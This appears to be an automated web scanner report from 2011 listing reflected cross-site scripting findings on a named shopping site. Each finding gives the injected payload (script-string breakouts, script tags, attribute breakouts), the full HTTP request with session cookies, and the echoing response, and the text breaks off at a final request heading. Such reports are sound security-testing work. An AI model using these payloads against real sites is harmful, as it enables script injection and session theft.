<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping2c3a5'-alert(1)-'62451a45166/Clothing-Accessories/194367784/Cosmetics/34'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e461b'-alert(1)-'1f0c6034c44 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessoriese461b'-alert(1)-'1f0c6034c44/194367784/Cosmetics/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:11:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61868
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessoriese461b'-alert(1)-'1f0c6034c44/194367784/Cosmetics/34'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 2f203<script>alert(1)</script>392bfe39fc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories2f203<script>alert(1)</script>392bfe39fc/194367784/Cosmetics/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:12:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61857
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories2f203<script>alert(1)</script>392bfe39fc <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9a874'-alert(1)-'53dfde29a7a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/1943677849a874'-alert(1)-'53dfde29a7a/Cosmetics/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:17:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61375
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/1943677849a874'-alert(1)-'53dfde29a7a/Cosmetics/34'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5848c'-alert(1)-'fe4310aff25 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Cosmetics5848c'-alert(1)-'fe4310aff25/34 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:24:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61847
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784/Cosmetics5848c'-alert(1)-'fe4310aff25/34'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b727e'-alert(1)-'e987292a2c9 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Cosmetics/34b727e'-alert(1)-'e987292a2c9 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:27:18 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55315
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Clothing-Accessories/194367784/Cosmetics/34b727e'-alert(1)-'e987292a2c9'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 63e2a'-alert(1)-'242e5a582a6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping63e2a'-alert(1)-'242e5a582a6/Clothing-Accessories/194367784/Fragrance/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:03:03 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60267
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping63e2a'-alert(1)-'242e5a582a6/Clothing-Accessories/194367784/Fragrance/39'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97c42"><a>2bff35564b4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping97c42"><a>2bff35564b4/Clothing-Accessories/194367784/Fragrance/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:52:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60501
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping97c42"><a>2bff35564b4"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 10209<script>alert(1)</script>85b58cd2fad was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Clothing-Accessories10209<script>alert(1)</script>85b58cd2fad/194367784/Fragrance/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:08:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62003
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Clothing Accessories10209<script>alert(1)</script>85b58cd2fad <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9918d'-alert(1)-'0cfdfdbe39d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories9918d'-alert(1)-'0cfdfdbe39d/194367784/Fragrance/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:06:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62095
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Clothing-Accessories9918d'-alert(1)-'0cfdfdbe39d/194367784/Fragrance/39'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20a49'-alert(1)-'b4e23825a91 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/19436778420a49'-alert(1)-'b4e23825a91/Fragrance/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:14:17 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61519
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Clothing-Accessories/19436778420a49'-alert(1)-'b4e23825a91/Fragrance/39'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a759e'-alert(1)-'9b9436bf688 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Fragrancea759e'-alert(1)-'9b9436bf688/39 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:20:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 62237
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Clothing-Accessories/194367784/Fragrancea759e'-alert(1)-'9b9436bf688/39'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d59ca'-alert(1)-'b95c66db0c2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Clothing-Accessories/194367784/Fragrance/39d59ca'-alert(1)-'b95c66db0c2 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 11:24:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55298
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Shopping/Clothing-Accessories/194367784/Fragrance/39d59ca'-alert(1)-'b95c66db0c2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5c871'-alert(1)-'d5d73661ea1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping5c871'-alert(1)-'d5d73661ea1/Clothing-Accessories/194367784/Glasses-Eye-Wear/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:54:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59484
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping5c871'-alert(1)-'d5d73661ea1/Clothing-Accessories/194367784/Glasses-Eye-Wear/38'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfae5"><a>d4387b467f6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingdfae5"><a>d4387b467f6/Clothing-Accessories/194367784/Glasses-Eye-Wear/38 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 10:39:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60008
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingdfae5"><a>d4387b467f6"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b46c3<script>alert(1)</script>3a630b354c8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
